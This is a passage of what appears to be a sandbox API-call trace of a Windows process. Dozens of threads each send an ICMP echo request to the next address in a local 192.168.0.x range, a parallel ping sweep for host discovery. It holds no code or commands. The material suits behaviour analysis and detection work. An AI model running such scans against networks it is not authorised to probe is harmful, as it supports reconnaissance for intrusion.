	[0228.264] IcmpSendEcho (in: IcmpHandle=0x2bd5d0, DestinationAddress=0xaf00a8c0, RequestData=0x16b1fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16b1fd40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16b1fd40) returned 0x1
	[0235.965] IcmpCloseHandle (IcmpHandle=0x2bd5d0) returned 1
	[0235.966] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d8be0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1000
	os_tid = 0x15c4

	[0227.778] GetLastError () returned 0x57
	[0227.778] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d8fb0
	[0227.778] SetLastError (dwErrCode=0x57) 
	[0227.778] IcmpCreateFile () returned 0x2da280
	[0228.265] IcmpSendEcho (in: IcmpHandle=0x2da280, DestinationAddress=0xb000a8c0, RequestData=0x164cf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x164cf880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x164cf880) returned 0x1
	[0235.535] IcmpCloseHandle (IcmpHandle=0x2da280) returned 1
	[0235.536] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d8fb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1001
	os_tid = 0x15c8

	[0227.781] GetLastError () returned 0x57
	[0227.781] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2db280
	[0227.782] SetLastError (dwErrCode=0x57) 
	[0227.783] IcmpCreateFile () returned 0x2da2d0
	[0228.266] IcmpSendEcho (in: IcmpHandle=0x2da2d0, DestinationAddress=0xb100a8c0, RequestData=0x16dff900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16dff920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16dff920) returned 0x1
	[0235.323] IcmpCloseHandle (IcmpHandle=0x2da2d0) returned 1
	[0235.323] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2db280 | out: hHeap=0x230000) returned 1

Thread:
	id = 1002
	os_tid = 0x15cc

	[0227.784] GetLastError () returned 0x57
	[0227.785] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2db650
	[0227.785] SetLastError (dwErrCode=0x57) 
	[0227.785] IcmpCreateFile () returned 0x2da320
	[0228.267] IcmpSendEcho (in: IcmpHandle=0x2da320, DestinationAddress=0xb200a8c0, RequestData=0x16c9fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16c9fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16c9fd20) returned 0x1
	[0235.180] IcmpCloseHandle (IcmpHandle=0x2da320) returned 1
	[0235.180] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2db650 | out: hHeap=0x230000) returned 1

Thread:
	id = 1003
	os_tid = 0x15d0

	[0227.786] GetLastError () returned 0x57
	[0227.786] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dba20
	[0227.786] SetLastError (dwErrCode=0x57) 
	[0227.786] IcmpCreateFile () returned 0x2da370
	[0228.268] IcmpSendEcho (in: IcmpHandle=0x2da370, DestinationAddress=0xb300a8c0, RequestData=0x16f5fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16f5fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x16f5fe80) returned 0x1
	[0234.897] IcmpCloseHandle (IcmpHandle=0x2da370) returned 1
	[0234.897] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dba20 | out: hHeap=0x230000) returned 1

Thread:
	id = 1004
	os_tid = 0x15d4

	[0227.787] GetLastError () returned 0x57
	[0227.787] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dbdf0
	[0227.787] SetLastError (dwErrCode=0x57) 
	[0227.787] IcmpCreateFile () returned 0x2da3c0
	[0228.269] IcmpSendEcho (in: IcmpHandle=0x2da3c0, DestinationAddress=0xb400a8c0, RequestData=0x1707f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1707f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1707f880) returned 0x1
	[0234.767] IcmpCloseHandle (IcmpHandle=0x2da3c0) returned 1
	[0234.767] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dbdf0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1005
	os_tid = 0x15d8

	[0227.788] GetLastError () returned 0x57
	[0227.788] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dc1c0
	[0227.788] SetLastError (dwErrCode=0x57) 
	[0227.789] IcmpCreateFile () returned 0x2da410
	[0228.270] IcmpSendEcho (in: IcmpHandle=0x2da410, DestinationAddress=0xb500a8c0, RequestData=0x1731f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1731f8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1731f8a0) returned 0x1
	[0234.636] IcmpCloseHandle (IcmpHandle=0x2da410) returned 1
	[0234.636] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dc1c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1006
	os_tid = 0x15dc

	[0227.789] GetLastError () returned 0x57
	[0227.789] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dc590
	[0227.789] SetLastError (dwErrCode=0x57) 
	[0227.789] IcmpCreateFile () returned 0x2da460
	[0228.271] IcmpSendEcho (in: IcmpHandle=0x2da460, DestinationAddress=0xb600a8c0, RequestData=0x1721fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1721fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1721fd20) returned 0x1
	[0234.425] IcmpCloseHandle (IcmpHandle=0x2da460) returned 1
	[0234.425] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dc590 | out: hHeap=0x230000) returned 1

Thread:
	id = 1007
	os_tid = 0x15e0

	[0227.791] GetLastError () returned 0x57
	[0227.791] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dc960
	[0227.791] SetLastError (dwErrCode=0x57) 
	[0227.791] IcmpCreateFile () returned 0x2da4b0
	[0228.272] IcmpSendEcho (in: IcmpHandle=0x2da4b0, DestinationAddress=0xb700a8c0, RequestData=0x1753fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1753fee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1753fee0) returned 0x1
	[0234.325] IcmpCloseHandle (IcmpHandle=0x2da4b0) returned 1
	[0234.325] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dc960 | out: hHeap=0x230000) returned 1

Thread:
	id = 1008
	os_tid = 0x15e4

	[0227.791] GetLastError () returned 0x57
	[0227.792] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dcd30
	[0227.792] SetLastError (dwErrCode=0x57) 
	[0227.792] IcmpCreateFile () returned 0x2da500
	[0228.273] IcmpSendEcho (in: IcmpHandle=0x2da500, DestinationAddress=0xb800a8c0, RequestData=0x1776fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1776fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1776fb00) returned 0x1
	[0234.272] IcmpCloseHandle (IcmpHandle=0x2da500) returned 1
	[0234.272] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dcd30 | out: hHeap=0x230000) returned 1

Thread:
	id = 1009
	os_tid = 0x15e8

	[0227.792] GetLastError () returned 0x57
	[0227.792] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dd100
	[0227.793] SetLastError (dwErrCode=0x57) 
	[0227.793] IcmpCreateFile () returned 0x2da550
	[0228.275] IcmpSendEcho (in: IcmpHandle=0x2da550, DestinationAddress=0xb900a8c0, RequestData=0x1741fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1741fc20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1741fc20) returned 0x1
	[0234.134] IcmpCloseHandle (IcmpHandle=0x2da550) returned 1
	[0234.134] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dd100 | out: hHeap=0x230000) returned 1

Thread:
	id = 1010
	os_tid = 0x15ec

	[0227.793] GetLastError () returned 0x57
	[0227.793] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dd4d0
	[0227.794] SetLastError (dwErrCode=0x57) 
	[0227.794] IcmpCreateFile () returned 0x2da5a0
	[0228.276] IcmpSendEcho (in: IcmpHandle=0x2da5a0, DestinationAddress=0xba00a8c0, RequestData=0x1798fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1798fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1798fd20) returned 0x1
	[0233.988] IcmpCloseHandle (IcmpHandle=0x2da5a0) returned 1
	[0233.989] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dd4d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1011
	os_tid = 0x15f0

	[0227.794] GetLastError () returned 0x57
	[0227.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2dd8a0
	[0227.794] SetLastError (dwErrCode=0x57) 
	[0227.794] IcmpCreateFile () returned 0x2da5f0
	[0228.277] IcmpSendEcho (in: IcmpHandle=0x2da5f0, DestinationAddress=0xbb00a8c0, RequestData=0x1763fa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1763fa80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1763fa80) returned 0x1
	[0233.827] IcmpCloseHandle (IcmpHandle=0x2da5f0) returned 1
	[0233.828] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dd8a0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1012
	os_tid = 0x15f4

	[0227.795] GetLastError () returned 0x57
	[0227.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ddc70
	[0227.795] SetLastError (dwErrCode=0x57) 
	[0227.795] IcmpCreateFile () returned 0x2da640
	[0228.278] IcmpSendEcho (in: IcmpHandle=0x2da640, DestinationAddress=0xbc00a8c0, RequestData=0x17a9f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17a9f8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x17a9f8e0) returned 0x1
	[0233.761] IcmpCloseHandle (IcmpHandle=0x2da640) returned 1
	[0233.761] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddc70 | out: hHeap=0x230000) returned 1

Thread:
	id = 1013
	os_tid = 0x15f8

	[0227.797] GetLastError () returned 0x57
	[0227.797] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2de040
	[0227.798] SetLastError (dwErrCode=0x57) 
	[0227.798] IcmpCreateFile () returned 0x2da690
	[0228.280] IcmpSendEcho (in: IcmpHandle=0x2da690, DestinationAddress=0xbd00a8c0, RequestData=0x17c4f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17c4f9c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x17c4f9c0) returned 0x1
	[0233.614] IcmpCloseHandle (IcmpHandle=0x2da690) returned 1
	[0233.614] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2de040 | out: hHeap=0x230000) returned 1

Thread:
	id = 1014
	os_tid = 0x15fc

	[0227.798] GetLastError () returned 0x57
	[0227.798] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2de410
	[0227.798] SetLastError (dwErrCode=0x57) 
	[0227.798] IcmpCreateFile () returned 0x2da6e0
	[0228.281] IcmpSendEcho (in: IcmpHandle=0x2da6e0, DestinationAddress=0xbe00a8c0, RequestData=0x17ebfb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17ebfb20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x17ebfb20) returned 0x1
	[0233.492] IcmpCloseHandle (IcmpHandle=0x2da6e0) returned 1
	[0233.493] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2de410 | out: hHeap=0x230000) returned 1

Thread:
	id = 1015
	os_tid = 0x1600

	[0227.799] GetLastError () returned 0x57
	[0227.799] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2de7e0
	[0227.799] SetLastError (dwErrCode=0x57) 
	[0227.799] IcmpCreateFile () returned 0x2da730
	[0228.282] IcmpSendEcho (in: IcmpHandle=0x2da730, DestinationAddress=0xbf00a8c0, RequestData=0x1788fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1788fb20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1788fb20) returned 0x1
	[0233.334] IcmpCloseHandle (IcmpHandle=0x2da730) returned 1
	[0233.335] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2de7e0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1016
	os_tid = 0x1604

	[0227.800] GetLastError () returned 0x57
	[0227.800] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2debb0
	[0227.800] SetLastError (dwErrCode=0x57) 
	[0227.800] IcmpCreateFile () returned 0x2da780
	[0228.284] IcmpSendEcho (in: IcmpHandle=0x2da780, DestinationAddress=0xc000a8c0, RequestData=0x180df860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x180df880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x180df880) returned 0x1
	[0233.179] IcmpCloseHandle (IcmpHandle=0x2da780) returned 1
	[0233.180] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2debb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1017
	os_tid = 0x1608

	[0227.801] GetLastError () returned 0x57
	[0227.801] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e7280
	[0227.803] SetLastError (dwErrCode=0x57) 
	[0227.803] IcmpCreateFile () returned 0x2da7d0
	[0228.285] IcmpSendEcho (in: IcmpHandle=0x2da7d0, DestinationAddress=0xc100a8c0, RequestData=0x17fbf880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17fbf8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x17fbf8a0) returned 0x1
	[0233.029] IcmpCloseHandle (IcmpHandle=0x2da7d0) returned 1
	[0233.029] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e7280 | out: hHeap=0x230000) returned 1

Thread:
	id = 1018
	os_tid = 0x160c

	[0227.803] GetLastError () returned 0x57
	[0227.803] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e7650
	[0227.804] SetLastError (dwErrCode=0x57) 
	[0227.804] IcmpCreateFile () returned 0x2da820
	[0228.286] IcmpSendEcho (in: IcmpHandle=0x2da820, DestinationAddress=0xc200a8c0, RequestData=0x17d6f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17d6f8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x17d6f8c0) returned 0x1
	[0232.920] IcmpCloseHandle (IcmpHandle=0x2da820) returned 1
	[0232.920] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e7650 | out: hHeap=0x230000) returned 1

Thread:
	id = 1019
	os_tid = 0x1610

	[0227.904] GetLastError () returned 0x57
	[0227.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e7a20
	[0227.905] SetLastError (dwErrCode=0x57) 
	[0227.905] IcmpCreateFile () returned 0x2da870
	[0228.287] IcmpSendEcho (in: IcmpHandle=0x2da870, DestinationAddress=0xc300a8c0, RequestData=0x181ff740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x181ff760, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x181ff760) returned 0x1
	[0232.772] IcmpCloseHandle (IcmpHandle=0x2da870) returned 1
	[0232.772] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e7a20 | out: hHeap=0x230000) returned 1

Thread:
	id = 1032
	os_tid = 0x1644

	[0227.905] GetLastError () returned 0x57
	[0227.905] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e7df0
	[0227.906] SetLastError (dwErrCode=0x57) 
	[0227.906] IcmpCreateFile () returned 0x2da8c0
	[0228.288] IcmpSendEcho (in: IcmpHandle=0x2da8c0, DestinationAddress=0xc400a8c0, RequestData=0x1833fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1833fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1833fb00) returned 0x1
	[0232.608] IcmpCloseHandle (IcmpHandle=0x2da8c0) returned 1
	[0232.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e7df0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1033
	os_tid = 0x1648

	[0227.906] GetLastError () returned 0x57
	[0227.906] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e81c0
	[0227.907] SetLastError (dwErrCode=0x57) 
	[0227.907] IcmpCreateFile () returned 0x2da910
	[0228.289] IcmpSendEcho (in: IcmpHandle=0x2da910, DestinationAddress=0xc500a8c0, RequestData=0x1849fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1849fdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1849fdc0) returned 0x1
	[0232.440] IcmpCloseHandle (IcmpHandle=0x2da910) returned 1
	[0232.441] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e81c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1034
	os_tid = 0x164c

	[0227.907] GetLastError () returned 0x57
	[0227.907] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e8590
	[0227.908] SetLastError (dwErrCode=0x57) 
	[0227.908] IcmpCreateFile () returned 0x2da960
	[0228.290] IcmpSendEcho (in: IcmpHandle=0x2da960, DestinationAddress=0xc600a8c0, RequestData=0x185ff8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x185ff8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x185ff8c0) returned 0x1
	[0232.430] IcmpCloseHandle (IcmpHandle=0x2da960) returned 1
	[0232.430] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e8590 | out: hHeap=0x230000) returned 1

Thread:
	id = 1035
	os_tid = 0x1650

	[0227.908] GetLastError () returned 0x57
	[0227.908] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e8960
	[0227.909] SetLastError (dwErrCode=0x57) 
	[0227.909] IcmpCreateFile () returned 0x2da9b0
	[0228.291] IcmpSendEcho (in: IcmpHandle=0x2da9b0, DestinationAddress=0xc700a8c0, RequestData=0x187df7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x187df7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x187df7c0) returned 0x1
	[0232.425] IcmpCloseHandle (IcmpHandle=0x2da9b0) returned 1
	[0232.425] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e8960 | out: hHeap=0x230000) returned 1

Thread:
	id = 1036
	os_tid = 0x1654

	[0227.909] GetLastError () returned 0x57
	[0227.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e8d30
	[0227.909] SetLastError (dwErrCode=0x57) 
	[0227.910] IcmpCreateFile () returned 0x2daa00
	[0228.292] IcmpSendEcho (in: IcmpHandle=0x2daa00, DestinationAddress=0xc800a8c0, RequestData=0x18a1f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18a1f860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x18a1f860) returned 0x1
	[0232.398] IcmpCloseHandle (IcmpHandle=0x2daa00) returned 1
	[0232.398] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e8d30 | out: hHeap=0x230000) returned 1

Thread:
	id = 1037
	os_tid = 0x1658

	[0227.910] GetLastError () returned 0x57
	[0227.910] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e9100
	[0227.911] SetLastError (dwErrCode=0x57) 
	[0227.911] IcmpCreateFile () returned 0x2daa50
	[0228.293] IcmpSendEcho (in: IcmpHandle=0x2daa50, DestinationAddress=0xc900a8c0, RequestData=0x18bcfc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18bcfc60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x18bcfc60) returned 0x1
	[0232.288] IcmpCloseHandle (IcmpHandle=0x2daa50) returned 1
	[0232.289] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e9100 | out: hHeap=0x230000) returned 1

Thread:
	id = 1038
	os_tid = 0x165c

	[0227.911] GetLastError () returned 0x57
	[0227.911] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e94d0
	[0227.912] SetLastError (dwErrCode=0x57) 
	[0227.912] IcmpCreateFile () returned 0x2daaa0
	[0228.294] IcmpSendEcho (in: IcmpHandle=0x2daaa0, DestinationAddress=0xca00a8c0, RequestData=0x18d7fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18d7fd40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x18d7fd40) returned 0x1
	[0232.286] IcmpCloseHandle (IcmpHandle=0x2daaa0) returned 1
	[0232.286] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e94d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1039
	os_tid = 0x1660

	[0227.912] GetLastError () returned 0x57
	[0227.912] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e98a0
	[0227.912] SetLastError (dwErrCode=0x57) 
	[0227.913] IcmpCreateFile () returned 0x2daaf0
	[0228.295] IcmpSendEcho (in: IcmpHandle=0x2daaf0, DestinationAddress=0xcb00a8c0, RequestData=0x18fef7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18fef7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x18fef7e0) returned 0x1
	[0232.258] IcmpCloseHandle (IcmpHandle=0x2daaf0) returned 1
	[0232.259] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e98a0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1040
	os_tid = 0x1664

	[0227.914] GetLastError () returned 0x57
	[0227.914] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2e9c70
	[0227.914] SetLastError (dwErrCode=0x57) 
	[0227.914] IcmpCreateFile () returned 0x2dab40
	[0228.296] IcmpSendEcho (in: IcmpHandle=0x2dab40, DestinationAddress=0xcc00a8c0, RequestData=0x18eefaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18eefac0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x18eefac0) returned 0x1
	[0232.244] IcmpCloseHandle (IcmpHandle=0x2dab40) returned 1
	[0232.245] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e9c70 | out: hHeap=0x230000) returned 1

Thread:
	id = 1041
	os_tid = 0x1668

	[0227.915] GetLastError () returned 0x57
	[0227.915] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ea040
	[0227.916] SetLastError (dwErrCode=0x57) 
	[0227.916] IcmpCreateFile () returned 0x2dab90
	[0228.300] IcmpSendEcho (in: IcmpHandle=0x2dab90, DestinationAddress=0xcd00a8c0, RequestData=0x1915f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1915f980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1915f980) returned 0x1
	[0232.241] IcmpCloseHandle (IcmpHandle=0x2dab90) returned 1
	[0232.241] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ea040 | out: hHeap=0x230000) returned 1

Thread:
	id = 1042
	os_tid = 0x166c

	[0227.916] GetLastError () returned 0x57
	[0227.916] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ea410
	[0227.917] SetLastError (dwErrCode=0x57) 
	[0227.917] IcmpCreateFile () returned 0x2dabe0
	[0228.301] IcmpSendEcho (in: IcmpHandle=0x2dabe0, DestinationAddress=0xce00a8c0, RequestData=0x1928f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1928f8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1928f8c0) returned 0x1
	[0232.238] IcmpCloseHandle (IcmpHandle=0x2dabe0) returned 1
	[0232.239] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ea410 | out: hHeap=0x230000) returned 1

Thread:
	id = 1043
	os_tid = 0x1670

	[0227.917] GetLastError () returned 0x57
	[0227.917] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ea7e0
	[0227.918] SetLastError (dwErrCode=0x57) 
	[0227.918] IcmpCreateFile () returned 0x2dac30
	[0228.302] IcmpSendEcho (in: IcmpHandle=0x2dac30, DestinationAddress=0xcf00a8c0, RequestData=0x1891fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1891fe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1891fe00) returned 0x1
	[0232.235] IcmpCloseHandle (IcmpHandle=0x2dac30) returned 1
	[0232.236] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ea7e0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1044
	os_tid = 0x1674

	[0227.918] GetLastError () returned 0x57
	[0227.918] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2eabb0
	[0227.919] SetLastError (dwErrCode=0x57) 
	[0227.919] IcmpCreateFile () returned 0x2dac80
	[0228.303] IcmpSendEcho (in: IcmpHandle=0x2dac80, DestinationAddress=0xd000a8c0, RequestData=0x1940fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1940fe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1940fe20) returned 0x1
	[0232.232] IcmpCloseHandle (IcmpHandle=0x2dac80) returned 1
	[0232.233] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2eabb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 1045
	os_tid = 0x1678

	[0227.919] GetLastError () returned 0x57
	[0227.919] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2eb280
	[0227.922] SetLastError (dwErrCode=0x57) 
	[0227.922] IcmpCreateFile () returned 0x2dacd0
	[0228.304] IcmpSendEcho (in: IcmpHandle=0x2dacd0, DestinationAddress=0xd100a8c0, RequestData=0x1958fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1958fa40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1958fa40) returned 0x1
	[0232.230] IcmpCloseHandle (IcmpHandle=0x2dacd0) returned 1
	[0232.230] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2eb280 | out: hHeap=0x230000) returned 1

Thread:
	id = 1046
	os_tid = 0x167c

	[0227.923] GetLastError () returned 0x57
	[0227.924] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2eb650
	[0227.924] SetLastError (dwErrCode=0x57) 
	[0227.924] IcmpCreateFile () returned 0x2dad20
	[0228.305] IcmpSendEcho (in: IcmpHandle=0x2dad20, DestinationAddress=0xd200a8c0, RequestData=0x1978f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1978f960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1978f960) returned 0x1
	[0232.227] IcmpCloseHandle (IcmpHandle=0x2dad20) returned 1
	[0232.227] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2eb650 | out: hHeap=0x230000) returned 1

Thread:
	id = 1047
	os_tid = 0x1680

	[0227.925] GetLastError () returned 0x57
	[0227.925] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2eba20
	[0227.925] SetLastError (dwErrCode=0x57) 
	[0227.925] IcmpCreateFile () returned 0x2dad70
	[0228.306] IcmpSendEcho (in: IcmpHandle=0x2dad70, DestinationAddress=0xd300a8c0, RequestData=0x19a1fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19a1fba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19a1fba0) returned 0x1
	[0232.224] IcmpCloseHandle (IcmpHandle=0x2dad70) returned 1
	[0232.224] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2eba20 | out: hHeap=0x230000) returned 1

Thread:
	id = 1048
	os_tid = 0x1684

